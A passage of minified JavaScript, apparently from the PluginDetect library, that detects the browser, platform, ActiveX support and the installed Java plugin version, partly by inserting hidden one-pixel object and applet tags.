init=this,$=init.$,doc=document,e,x,userAgent=navigator.userAgent||"",progid,progid1,progid2;$.isIE=eval("/*@cc_on!@*/!1");$.verIE=$.isIE?((/^(?:.*?[^a-zA-Z])??(?:MSIE|IE)\s*(\d+\.?\d*)/i).test(userAgent)?parseFloat(RegExp.$1,10):7):null;$.ActiveXEnabled=!1;$.ActiveXFilteringEnabled=!1;if($.isIE){try{$.ActiveXFilteringEnabled=window.external.msActiveXFilteringEnabled()}catch(e){}progid1=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];progid2=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl",];progid=progid1.concat(progid2);for(x=0;x<progid.length;x++){if($.getAXO(progid[x])){$.ActiveXEnabled=!0;if(!$.dbug){break}}}if($.ActiveXEnabled&&$.ActiveXFilteringEnabled){for(x=0;x<progid2.length;x++){if($.getAXO(progid2[x])){$.ActiveXFilteringEnabled=!1;break}}}}},detectNonIE:function(){var e=this,c=this.$,d=navigator,b=c.isIE?"":d.userAgent||"",f=d.vendor||"",a=d.product||"";c.isGecko=(/Gecko/i).test(a)&&(/Gecko\s*\/\s*\d/i).test(b);c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(b)?RegExp.$1:"0.9"):null;c.isChrome=(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(b);c.verChrome=c.isChrome?c.formatNum(RegExp.$2):null;c.isSafari=!c.isChrome&&((/Apple/i).test(f)||!f)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(b);c.verSafari=c.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(b)?c.formatNum(RegExp.$1):null;c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(b);c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(b)||1)?parseFloat(RegExp.$1,10):null},detectPlatform:function(){var e=this,d=e.$,b,a=navigator.platform||"";d.OS=100;if(a){var c=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(b=c.length-2;b>=0;b=b-2){if(c[b]&&new RegExp(c[b],"i").test(a)){d.OS=c[b+1];break}}}},library:function(c){var e=this,d=document,b,a;c.init.objProperties(c,c,["$",c]);for(a in c.Plugins){c.init.plugin(c.Plugins[a],a)}e.publicMethods(c.PUBLIC,c);c.win.init();c.head=d.getElementsByTagName("head")[0]||d.getElementsByTagName("body")[0]||d.body||null;e.detectPlatform();e.detectIE();e.detectNonIE();c.init.hasRun=1}},ev:{$:1,handler:function(c,b,a){return function(){c(b,a)}},fPush:function(b,a){var c=this,d=c.$;if(d.isArray(a)&&(d.isFunc(b)||(d.isArray(b)&&b.length>0&&d.isFunc(b[0])))){a.push(b)}},callArray:function(a){var b=this,d=b.$,c;if(d.isArray(a)){while(a.length){c=a[0];a.splice(0,1);b.call(c)}}},call:function(d){var b=this,c=b.$,a=c.isArray(d)?d.length:-1;if(a>0&&c.isFunc(d[0])){d[0](c,a>1?d[1]:0,a>2?d[2]:0,a>3?d[3]:0)}else{if(c.isFunc(d)){d(c)}}}},PUBLIC:{getVersion:function(b){var a=function(h,e,d){var f=b.findPlugin(h),g,c;if(f.status<0){return null};g=f.plugin;if(g.getVersionDone!=1){g.getVersion(null,e,d);if(g.getVersionDone===null){g.getVersionDone=1}}c=(g.version||g.version0);c=c?c.replace(b.splitNumRegx,b.getVersionDelimiter):c;return c};return a},onDetectionDone:function(b){var a=function(j,h,d,c){var e=b.findPlugin(j),k,g;if(e.status==-3){return -1}g=e.plugin;if(!b.isArray(g.funcs)){g.funcs=[]};if(g.getVersionDone!=1){k=b.getVersion?b.getVersion(j,d,c):b.isMinVersion(j,"0",d,c)}if(g.installed!=-0.5&&g.installed!=0.5){b.ev.call(h);return 1}b.ev.fPush(h,g.funcs);return 0};return a},hasMimeType:function(b){var a=function(d){if(!b.isIE&&d&&navigator&&navigator.mimeTypes){var g,f,c,e=b.isArray(d)?d:(b.isString(d)?[d]:[]);for(c=0;c<e.length;c++){if(b.isString(e[c])&&/[^\s]/.test(e[c])){g=navigator.mimeTypes[e[c]];f=g?g.enabledPlugin:0;if(f&&(f.name||f.description)){return g}}}}return null};return a},z:0},codebase:{$:1,isDisabled:function(){var a=this,b=a.$;return b.ActiveXEnabled&&b.isIE&&b.verIE>=7?0:1},checkGarbage:function(d){var b=this,c=b.$,a;if(c.isIE&&d&&c.getPROP(d.firstChild,"object")){a=c.getPROP(d.firstChild,"readyState");if(c.isNum(a)&&a!=4){b.garbage=1;return 1}}return 0},emptyGarbage:function(){var a=this,b=a.$,c;if(b.isIE&&a.garbage){try{window.CollectGarbage()}catch(c){}a.garbage=0}},init:function(e){if(!e.init){var c=this,d=c.$,a,b;e.init=1;e.min=0;e.max=0;e.hasRun=0;e.version=null;e.L=0;e.altHTML="";e.span=document.createElement("span");e.tagA='<object width="1" height="1" style="display:none;" codebase="#version=';b=e.classID||e.$$.classID||"";e.tagB='" '+((/clsid\s*:/i).test(b)?'classid="':'type="')+b+'">'+e.altHTML+d.openTag+"/object>";for(a=0;a<e.Lower.length;a++){e.Lower[a]=d.formatNum(e.Lower[a]);e.Upper[a]=d.formatNum(e.Upper[a])}}},isActiveXObject:function(i,b){var f=this,g=f.$,a=0,h,d=i.$$,c=i.span;if(i.min&&g.compareNums(b,i.min)<=0){return 1}if(i.max&&g.compareNums(b,i.max)>=0){return 0}c.innerHTML=i.tagA+b+i.tagB;if(g.getPROP(c.firstChild,"object")){a=1};f.checkGarbage(c);c.innerHTML="";if(a){i.min=b}else{i.max=b}return a},convert_:function(f,a,b,e){var d=f.convert[a],c=f.$;return d?(c.isFunc(d)?c.formatNum(d(b.split(c.splitNumRegx),e).join(",")):b):d},convert:function(h,c,g){var e=this,f=h.$,b,a,d;c=f.formatNum(c);a={v:c,x:-1};if(c){for(b=0;b<h.Lower.length;b++){d=e.convert_(h,b,h.Lower[b]);if(d&&f.compareNums(c,g?d:h.Lower[b])>=0&&(!b||f.compareNums(c,g?e.convert_(h,b,h.Upper[b]):h.Upper[b])<0)){a.v=e.convert_(h,b,c,g);a.x=b;break}}}return a},isMin:function(g,f){var d=this,e=g.$,c,b,a=0;d.init(g);return a},search:function(g){var k=this,h=k.$,i=g.$$,b=0,c;k.init(g);c=(g.hasRun||k.isDisabled())?1:0;g.hasRun=1;if(c){return g.version};var o,n,m,j=function(q,t){var r=[].concat(f),s;r[q]=t;s=k.isActiveXObject(g,r.join(","));if(s){b=1;f[q]=t}else{p[q]=t}return s},d=g.DIGITMAX,e,a,l=99999999,f=[0,0,0,0],p=[0,0,0,0];for(o=0;o<p.length;o++){f[o]=Math.floor(g.DIGITMIN[o])||0;e=f.join(",");a=f.slice(0,o).concat([l,l,l,l]).slice(0,f.length).join(",");for(m=0;m<d.length;m++){if(h.isArray(d[m])){d[m].push(0);if(d[m][o]>p[o]&&h.compareNums(a,g.Lower[m])>=0&&h.compareNums(e,g.Upper[m])<0){p[o]=Math.floor(d[m][o])}}}for(n=0;n<30;n++){if(p[o]-f[o]<=16){for(m=p[o];m>=f[o]+(o?1:0);m--){if(j(o,m)){break}}break}j(o,Math.round((p[o]+f[o])/2))}if(!b){break}p[o]=f[o]}if(b){g.version=k.convert(g,f.join(",")).v};return g.version}},win:{$:1,loaded:false,hasRun:0,init:function(){var b=this,a=b.$;if(!b.hasRun){b.hasRun=1;b.addEvent("load",a.ev.handler(b.runFuncs,a));b.addEvent("unload",a.ev.handler(b.cleanup,a))}},addEvent:function(c,b){var e=this,d=e.$,a=window;if(d.isFunc(b)){if(a.addEventListener){a.addEventListener(c,b,false)}else{if(a.attachEvent){a.attachEvent("on"+c,b)}else{a["on"+c]=e.concatFn(b,a["on"+c])}}}},concatFn:function(d,c){return function(){d();if(typeof c=="function"){c()}}},funcs0:[],funcs:[],cleanup:function(b){if(b){for(var a in b){b[a]=0}b=0}},runFuncs:function(a){if(a&&!a.win.loaded){a.win.loaded=true;a.ev.callArray(a.win.funcs0);a.ev.callArray(a.win.funcs);if(a.DOM){a.DOM.onDoneEmptyDiv()}}},z:0},DOM:{$:1,isEnabled:{$:1,objectTag:function(){var a=this.$;return a.isIE?a.ActiveXEnabled:1},objectProperty:function(){var a=this.$;return a.isIE&&a.verIE>=7?1:0}},div:null,divID:"plugindetect",divClass:"doNotRemove",divWidth:50,getDiv:function(){var a=this;return a.div||document.getElementById(a.divID)||null},isDivPermanent:function(){var b=this,c=b.$,a=b.getDiv();return a&&c.isString(a.className)&&a.className.toLowerCase().indexOf(b.divClass.toLowerCase())>-1?1:0},initDiv:function(b){var c=this,d=c.$,a;if(!c.div){a=c.getDiv();if(a){c.div=a}else{if(b){c.div=document.createElement("div");c.div.id=c.divID}}if(c.div){c.setStyle(c.div,c.defaultStyle.concat(["display","block","width",c.divWidth+"px","height",(c.pluginSize+3)+"px","fontSize",(c.pluginSize+3)+"px","lineHeight",(c.pluginSize+3)+"px"]));if(!a){c.setStyle(c.div,["position","absolute","right","0px","top","0px"]);c.insertDivInBody(c.div)}}}},pluginSize:1,altHTML:"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",emptyNode:function(c){var b=this,d=b.$,a,f;if(c&&c.childNodes){for(a=c.childNodes.length-1;a>=0;a--){if(d.isIE){b.setStyle(c.childNodes[a],["display","none"])}c.removeChild(c.childNodes[a])}}},LASTfuncs:[],onDoneEmptyDiv:function(){var f=this,g=f.$,b,d,c,a,h;f.initDiv();if(!g.win.loaded||g.win.funcs0.length||g.win.funcs.length){return}for(b in g.Plugins){d=g.Plugins[b];if(d){if(d.OTF==3||(d.funcs&&d.funcs.length)){return}}}g.ev.callArray(f.LASTfuncs);a=f.getDiv();if(a){if(f.isDivPermanent()){}else{if(a.childNodes){for(b=a.childNodes.length-1;b>=0;b--){c=a.childNodes[b];f.emptyNode(c)}try{a.innerHTML=""}catch(h){}}if(a.parentNode){try{a.parentNode.removeChild(a)}catch(h){}a=null;f.div=null}}}},width:function(){var g=this,e=g.DOM,f=e.$,d=g.span,b,c,a=-1;b=d&&f.isNum(d.scrollWidth)?d.scrollWidth:a;c=d&&f.isNum(d.offsetWidth)?d.offsetWidth:a;return c>0?c:(b>0?b:Math.max(c,b))},obj:function(b){var d=this,c=d.span,a=c&&c.firstChild?c.firstChild:null;return a},readyState:function(){var b=this,a=b.DOM.$;return a.isIE?a.getPROP(b.obj(),"readyState"):b.undefined},objectProperty:function(){var d=this,b=d.DOM,c=b.$,a;if(b.isEnabled.objectProperty()){a=c.getPROP(d.obj(),"object")}return a},getTagStatus:function(b,m,r,p,f,h){var s=this,d=s.$,q;if(!b||!b.span){return -2}var k=b.width(),c=b.readyState(),a=b.objectProperty();if(a){return 1.5}var g=/clsid\s*\:/i,o=r&&g.test(r.outerHTML||"")?r:(p&&g.test(p.outerHTML||"")?p:0),i=r&&!g.test(r.outerHTML||"")?r:(p&&!g.test(p.outerHTML||"")?p:0),l=b&&g.test(b.outerHTML||"")?o:i;if(!m||!m.span||!l||!l.span){return 0}var j=l.width(),n=m.width(),t=l.readyState();if(k<0||j<0||n<=s.pluginSize){return 0}if(h&&!b.pi&&d.isDefined(a)&&d.isIE&&b.tagName==l.tagName&&b.time<=l.time&&k===j&&c===0&&t!==0){b.pi=1}if(j<n){return b.pi?-0.1:0}if(k>=n){if(!b.winLoaded&&d.win.loaded){return b.pi?-0.5:-1}if(d.isNum(f)){if(!d.isNum(b.count2)){b.count2=f}if(f-b.count2>0){return b.pi?-0.5:-1}}}try{if(k==s.pluginSize&&(!d.isIE||c===4)){if(!b.winLoaded&&d.win.loaded){return 1}if(b.winLoaded&&d.isNum(f)){if(!d.isNum(b.count)){b.count=f}if(f-b.count>=5){return 1}}}}catch(q){}return b.pi?-0.1:0},setStyle:function(b,h){var c=this,d=c.$,g=b.style,a,f;if(g&&h){for(a=0;a<h.length;a=a+2){try{g[h[a]]=h[a+1]}catch(f){}}}},insertDivInBody:function(a,h){var j=this,d=j.$,g,b="pd33993399",c=null,i=h?window.top.document:window.document,f=i.getElementsByTagName("body")[0]||i.body;if(!f){try{i.write('<div id="'+b+'">.'+d.openTag+"/div>");c=i.getElementById(b)}catch(g){}}f=i.getElementsByTagName("body")[0]||i.body;if(f){f.insertBefore(a,f.firstChild);if(c){f.removeChild(c)}}},defaultStyle:["verticalAlign","baseline","outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"],insert:function(b,i,g,h,c,q,o){var s=this,f=s.$,r,t=document,v,m,p=t.createElement("span"),k,a,l="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:"+(q?"hidden;":"visible;")+"display:inline;";if(!f.isDefined(h)){h=""}if(f.isString(b)&&(/[^\s]/).test(b)){b=b.toLowerCase().replace(/\s/g,"");v=f.openTag+b+" ";v+='style="'+l+'" ';var j=1,u=1;for(k=0;k<i.length;k=k+2){if(/[^\s]/.test(i[k+1])){v+=i[k]+'="'+i[k+1]+'" '}if((/width/i).test(i[k])){j=0}if((/height/i).test(i[k])){u=0}}v+=(j?'width="'+s.pluginSize+'" ':"")+(u?'height="'+s.pluginSize+'" ':"");v+=">";for(k=0;k<g.length;k=k+2){if(/[^\s]/.test(g[k+1])){v+=f.openTag+'param name="'+g[k]+'" value="'+g[k+1]+'" />'}}v+=h+f.openTag+"/"+b+">"}else{b="";v=h}if(!o){s.initDiv(1)}var n=o||s.getDiv();m={span:null,winLoaded:f.win.loaded,tagName:b,outerHTML:v,DOM:s,time:new Date().getTime(),width:s.width,obj:s.obj,readyState:s.readyState,objectProperty:s.objectProperty};if(n&&n.parentNode){s.setStyle(p,s.defaultStyle.concat(["display","inline"]).concat(o?[]:["fontSize",(s.pluginSize+3)+"px","lineHeight",(s.pluginSize+3)+"px"]));n.appendChild(p);try{p.innerHTML=v}catch(r){};m.span=p;m.winLoaded=f.win.loaded}return m}},file:{$:1,any:"fileStorageAny999",valid:"fileStorageValid999",save:function(d,f,c){var b=this,e=b.$,a;if(d&&e.isDefined(c)){if(!d[b.any]){d[b.any]=[]}if(!d[b.valid]){d[b.valid]=[]}d[b.any].push(c);a=b.split(f,c);if(a){d[b.valid].push(a)}}},getValidLength:function(a){return a&&a[this.valid]?a[this.valid].length:0},getAnyLength:function(a){return a&&a[this.any]?a[this.any].length:0},getValid:function(c,a){var b=this;return c&&c[b.valid]?b.get(c[b.valid],a):null},getAny:function(c,a){var b=this;return c&&c[b.any]?b.get(c[b.any],a):null},get:function(d,a){var c=d.length-1,b=this.$.isNum(a)?a:c;return(b<0||b>c)?null:d[b]},split:function(g,c){var b=this,e=b.$,f=null,a,d;g=g?g.replace(".","\\."):"";d=new RegExp("^(.*[^\\/])("+g+"\\s*)$");if(e.isString(c)&&d.test(c)){a=(RegExp.$1).split("/");f={name:a[a.length-1],ext:RegExp.$2,full:c};a[a.length-1]="";f.path=a.join("/")}return f},z:0},Plugins:{java:{$:1,mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],mimeType_dummy:"application/dummymimejavaapplet",classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",classID_dummy:"clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",navigator:{$:1,a:(function(){var b,a=!0;try{a=window.navigator.javaEnabled()}catch(b){}return a})(),javaEnabled:function(){return this.a},mimeObj:0,pluginObj:0},OTF:null,getVerifyTagsDefault:function(){return[1,this.applet.isDisabled.VerifyTagsDefault_1()?0:1,1]},getVersion:function(j,g,i){var b=this,d=b.$,e,a=b.applet,h=b.verify,k=b.navigator,f=null,l=null,c=null;if(b.getVersionDone===null){b.OTF=0;k.mimeObj=d.hasMimeType(b.mimeType);if(k.mimeObj){k.pluginObj=k.mimeObj.enabledPlugin}if(h){h.begin()}}a.setVerifyTagsArray(i);d.file.save(b,".jar",g);if(b.getVersionDone===0){if(a.should_Insert_Query_Any()){e=a.insert_Query_Any(j);b.setPluginStatus(e[0],e[1],f,j)}return}if((!f||d.dbug)&&b.navMime.query().version){f=b.navMime.version}if((!f||d.dbug)&&b.DTK.query(d.dbug).version){f=b.DTK.version}if((!f||d.dbug)&&b.navPlugin.query().version){f=b.navPlugin.version}if(b.nonAppletDetectionOk(f)){c=f}b.setPluginStatus(c,l,f,j);if(a.should_Insert_Query_Any()){e=a.insert_Query_Any(j);if(e[0]){c=e[0];l=e[1]}}b.setPluginStatus(c,l,f,j)},nonAppletDetectionOk:function(b){var d=this,e=d.$,a=d.navigator,c=1;if(!b||!a.javaEnabled()||(!e.isIE&&!a.mimeObj)||(e.isIE&&!e.ActiveXEnabled)){c=0}else{if(e.OS>=20){}else{if(d.info&&d.info.getPlugin2Status()<0&&d.info.BrowserRequiresPlugin2()){c=0}}}return c},setPluginStatus:function(d,i,g,h){var b=this,e=b.$,f,c=0,a=b.applet;g=g||b.version0;f=a.isRange(d);if(f){if(a.setRange(f,h)==d){c=f}d=0}if(b.OTF<3){b.installed=c?(c>0?0.7:-0.1):(d?1:(g?-0.2:-1))}if(b.OTF==2&&b.NOTF&&!b.applet.getResult()[0]){b.installed=g?-0.2:-1}if(b.OTF==3&&b.installed!=-0.5&&b.installed!=0.5){b.installed=(b.NOTF.isJavaActive(1)==1?0.5:-0.5)}if(b.OTF==4&&(b.installed==-0.5||b.installed==0.5)){if(d){b.installed=1}else{if(c){b.installed=c>0?0.7:-0.1}else{if(b.NOTF.isJavaActive(1)==1){if(g){b.installed=1;d=g}else{b.installed=0}}else{if(g){b.installed=-0.2}else{b.installed=-1}}}}}if(g){b.version0=e.formatNum(e.getNum(g))}if(d&&!c){b.version=e.formatNum(e.getNum(d))}if(i&&e.isString(i)){b.vendor=i}if(!b.vendor){b.vendor=""}if(b.verify&&b.verify.isEnabled()){b.getVersionDone=0}else{if(b.getVersionDone!=1){if(b.OTF<2){b.getVersionDone=0}else{b.getVersionDone=b.applet.can_Insert_Query_Any()?0:1}}};e.codebase.emptyGarbage()},DTK:{$:1,hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(a){var b=this,c=b.$;if(!a&&(!c.DOM.isEnabled.objectTag()||(c.isIE&&c.verIE<6)||(c.isGecko&&c.compareNums(c.verGecko,c.formatNum("1.6"))<=0)||(c.isSafari&&c.OS==1&&(!c.verSafari||c.compareNums(c.verSafari,"5,1,0,0")<0))||c.isChrome)){return 1}return 0},query:function(n){var l=this,h=l.$,f=l.$$,k,m,i,a=h.DOM.altHTML,g={},b,d=null,j=null,c=(l.hasRun||l.isDisabled(n));l.hasRun=1;if(c){return l}l.status=0;if(h.isIE){for(m=0;m<l.classID.length;m++){l.HTML=h.DOM.insert("object",["classid",l.classID[m]],[],a);d=l.HTML.obj();if(h.getPROP(d,"jvms")){break}}}else{i=h.hasMimeType(l.mimeType);if(i&&i.type){l.HTML=h.DOM.insert("object",["type",i.type],[],a);d=l.HTML.obj()}}if(d){try{b=h.getPROP(d,"jvms");if(b){j=b.getLength();if(h.isNum(j)){l.status=j>0?1:-1;for(m=0;m<j;m++){i=h.getNum(b.get(j-1-m).version);if(i){l.VERSIONS.push(i);g["a"+h.formatNum(i)]=1}}}}}catch(k){}}i=0;for(m in g){i++}if(i&&i!==l.VERSIONS.length){l.VERSIONS=[]}if(l.VERSIONS.length){l.version=h.formatNum(l.VERSIONS[0])};return l}},navMime:{$:1,hasRun:0,mimetype:"",version:"",length:0,mimeObj:0,pluginObj:0,isDisabled:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;if(d.isIE||!a.mimeObj||!a.pluginObj){return 1}return 0},query:function(){var i=this,f=i.$,a=i.$$,b=(i.hasRun||i.isDisabled());i.hasRun=1;if(b){return i};var n=/^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,g,l,j,d="",h="a",o,m,k={},c=f.formatNum("0");for(l=0;l<navigator.mimeTypes.length;l++){o=navigator.mimeTypes[l];m=o?o.enabledPlugin:0;g=o&&n.test(o.type||d)?f.formatNum(f.getNum(RegExp.$1)):0;if(g&&m&&(m.description||m.name)){if(!k[h+g]){i.length++}k[h+g]=o.type;if(f.compareNums(g,c)>0){c=g}}}g=k[h+c];if(g){o=f.hasMimeType(g);i.mimeObj=o;i.pluginObj=o?o.enabledPlugin:0;i.mimetype=g;i.version=c};return i}},navPlugin:{$:1,hasRun:0,version:"",isDisabled:function(){var d=this,c=d.$,b=d.$$,a=b.navigator;if(c.isIE||!a.mimeObj||!a.pluginObj){return 1}return 0},query:function(){var m=this,e=m.$,c=m.$$,h=c.navigator,j,l,k,g,d,a,i,f=0,b=(m.hasRun||m.isDisabled());m.hasRun=1;if(b){return m};a=h.pluginObj.name||"";i=h.pluginObj.description||"";if(!f||e.dbug){g=/Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;if((g.test(a)||g.test(i))&&parseInt(RegExp.$1,10)>=5){f="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0")}}if(!f||e.dbug){g=/Java[^\d]*Plug-in/i;l=g.test(i)?e.formatNum(e.getNum(i)):0;k=g.test(a)?e.formatNum(e.getNum(a)):0;if(l&&(e.compareNums(l,e.formatNum("1,3"))<0||e.compareNums(l,e.formatNum("2"))>=0)){l=0}if(k&&(e.compareNums(k,e.formatNum("1,3"))<0||e.compareNums(k,e.formatNum("2"))>=0)){k=0}d=l&&k?(e.compareNums(l,k)>0?l:k):(l||k);if(d){f=d}}if(!f&&e.isSafari&&e.OS==2){j=e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa",0);if(j){l=e.getNum(j.description);if(l){f=l}}};if(f){m.version=e.formatNum(f)};return m}},applet:{$:1,codebase:{$:1,isMin:function(a){return this.$.codebase.isMin(this,a)},search:function(){return this.$.codebase.search(this)},ParamTags:'<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',DIGITMAX:[[16,64],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(b,a){return a?[parseInt(b[0],10)>1?"99":parseInt(b[1],10)+3+"",b[3],"0","0"]:["1",parseInt(b[0],10)-3+"","0",b[1]]},function(b,a){return a?[b[1],b[2],b[3]+"0","0"]:["1",b[0],b[1],b[2].substring(0,b[2].length-1||1)]},0,function(b,a){return a?[b[0],b[1],b[2],b[3]+"0"]:[b[0],b[1],b[2],b[3].substring(0,b[3].length-1||1)]},0,1,function(b,a){return a?[b[0],b[1],b[2],b[3]+"0"]:[b[0],b[1],b[2],b[3].substring(0,b[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var b=this,d=b.results,a,c=[];for(a=d.length-1;a>=0;a--){c=d[a];if(c[0]){break}}c=[].concat(c);return c},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(c){var d=this,b;for(b=0;b<d.allowed.length;b++){if(d.allowed[b]===c){return 1}}return 0},saveAsVerifyTagsArray:function(c){var b=this,d=b.$,a;if(d.isArray(c)){for(a=1;a<b.allowed.length;a++){if(c.length>a-1&&d.isNum(c[a-1])){if(c[a-1]<0){c[a-1]=0}if(c[a-1]>3){c[a-1]=3}b.allowed[a]=c[a-1]}}b.allowed[0]=b.allowed[3]}},setVerifyTagsArray:function(d){var b=this,c=b.$,a=b.$$;if(a.getVersionDone===null){b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())}if(c.dbug){b.saveAsVerifyTagsArray([3,3,3])}else{if(d){b.saveAsVerifyTagsArray(d)}}},isDisabled:{$:1,single:function(d){var a=this,c=a.$,b=a.$$;if(d==0){return c.codebase.isDisabled()}if((d==3&&!c.isIE)||a.all()){return 1}if(d==1||d==3){return !c.DOM.isEnabled.objectTag()}if(d==2){return a.AppletTag()}},aA_:null,all:function(){var c=this,e=c.$,d=c.$$,b=d.navigator,a=0;if(c.aA_===null){if(e.OS>=20){a=0}else{if(e.verOpera&&e.verOpera<11&&!b.javaEnabled()){a=1}else{if((e.verGecko&&e.compareNums(e.verGecko,e.formatNum("2"))<0)&&!b.mimeObj){a=1}else{if(c.AppletTag()&&!e.DOM.isEnabled.objectTag()){a=1}}}};c.aA_=a}return c.aA_},AppletTag:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;return d.isIE?!a.javaEnabled():0},VerifyTagsDefault_1:function(){var a=this.$;if(a.OS>=20){return 1}if((a.isIE&&(a.verIE<9||!a.ActiveXEnabled))||(a.verGecko&&a.compareNums(a.verGecko,a.formatNum("2"))<0)||(a.isSafari&&(!a.verSafari||a.compareNums(a.verSafari,a.formatNum("4"))<0))||(a.verOpera&&a.verOpera<10)){return 0}return 1},z:0},can_Insert_Query:function(d){var b=this,c=b.results[0][0],a=b.getResult()[0];if(b.HTML[d]||(d==0&&c!==null&&!b.isRange(c))||(d==0&&a&&!b.isRange(a))){return 0}return !b.isDisabled.single(d)},can_Insert_Query_Any:function(){var b=this,a;for(a=0;a<b.results.length;a++){if(b.can_Insert_Query(a)){return 1}}return 0},should_Insert_Query:function(e){var c=this,f=c.allowed,d=c.$,b=c.$$,a=c.getResult()[0];a=a&&(e>0||!c.isRange(a));if(!c.can_Insert_Query(e)||f[e]===0){return 0}if(f[e]==3||(f[e]==2.8&&!a)){return 1}if(!b.nonAppletDetectionOk(b.version0)){if(f[e]==2||(f[e]==1&&!a)){return 1}}return 0},should_Insert_Query_Any:function(){var b=this,a;for(a=0;a<b.allowed.length;a++){if(b.should_Insert_Query(a)){return 1}}return 0},query:function(f){var j,a=this,i=a.$,d=a.$$,k=null,l=null,b=a.results,c,h,g=a.HTML[f];if(!g||!g.obj()||b[f][0]||d.bridgeDisabled||(i.dbug&&d.OTF<3)){return}c=g.obj();h=g.readyState();if(!i.isIE||h===4){try{k=i.getNum(c.getVersion()+"");l=c.getVendor()+"";c.statusbar(i.win.loaded?" ":" ")}catch(j){};if(k&&i.isStrNum(k)){b[f]=[k,l];a.active[f]=2}}},isRange:function(a){return(/^[<>]/).test(a||"")?(a.charAt(0)==">"?1:-1):0},setRange:function(b,a){return(b?(b>0?">":"<"):"")+(this.$.isString(a)?a:"")},insertJavaTag:function(g,n,h,o,m){var e=this,c=e.$,k=e.$$,r="A.class",b=c.file.getValid(k),f=b.name+b.ext,q=b.path;var i=["archive",f,"code",r],l=(o?["width",o]:[]).concat(m?["height",m]:[]),j=["mayscript","true"],p=["scriptable","true","codebase_lookup","false"].concat(j),a=k.navigator,d=!c.isIE&&a.mimeObj&&a.mimeObj.type?a.mimeObj.type:k.mimeType[0];if(g==1){return c.isIE?c.DOM.insert("object",["type",d].concat(l),["codebase",q].concat(i).concat(p),h,k,0,n):c.DOM.insert("object",["type",d].concat(l),["codebase",q].concat(i).concat(p),h,k,0,n)}if(g==2){return c.isIE?c.DOM.insert("applet",["alt",h].concat(j).concat(i).concat(l),["codebase",q].concat(p),h,k,0,n):c.DOM.insert("applet",["codebase",q,"alt",h].concat(j).concat(i).concat(l),[].concat(p),h,k,0,n)}if(g==3){return c.isIE?c.DOM.insert("object",["classid",k.classID].concat(l),["codebase",q].concat(i).concat(p),h,k,0,n):c.DOM.insert()}if(g==4){return c.DOM.insert("embed",["codebase",q].concat(i).concat(["type",d]).concat(p).concat(l),[],h,k,0,n)}},insert_Query_Any:function(i){var b=this,d=b.$,c=b.$$,g=b.results,j=b.HTML,a=d.DOM.altHTML,e,h=d.file.getValid(c);if(b.should_Insert_Query(0)){if(c.OTF<2){c.OTF=2};g[0]=[0,0];e=i?b.codebase.isMin(i):b.codebase.search();if(e){g[0][0]=i?b.setRange(e,i):e}b.active[0]=e?1.5:-1}if(!h){return b.getResult()}if(!b.DummySpanTagHTML){b.DummySpanTagHTML=d.DOM.insert("",[],[],a)}if(b.should_Insert_Query(1)){if(c.OTF<2){c.OTF=2};j[1]=b.insertJavaTag(1,0,a);g[1]=[0,0];b.query(1)}if(b.should_Insert_Query(2)){if(c.OTF<2){c.OTF=2};j[2]=b.insertJavaTag(2,0,a);g[2]=[0,0];b.query(2)}if(b.should_Insert_Query(3)){if(c.OTF<2){c.OTF=2};j[3]=b.insertJavaTag(3,0,a);g[3]=[0,0];b.query(3)}if(d.DOM.isEnabled.objectTag()){if(!b.DummyObjTagHTML&&(j[1]||j[2])){b.DummyObjTagHTML=d.DOM.insert("object",["type",c.mimeType_dummy],[],a)}if(!b.DummyObjTagHTML2&&j[3]){b.DummyObjTagHTML2=d.DOM.insert("object",["classid",c.classID_dummy],[],a)}}var f=c.NOTF;if(c.OTF<3&&f.shouldContinueQuery()){c.OTF=3;f.onIntervalQuery=d.ev.handler(f.$$onIntervalQuery,f);if(!d.win.loaded){d.win.funcs0.push([f.winOnLoadQuery,f])}setTimeout(f.onIntervalQuery,f.intervalLength)}return b.getResult()}},NOTF:{$:1,count:0,countMax:25,intervalLength:250,shouldContinueQuery:function(){var 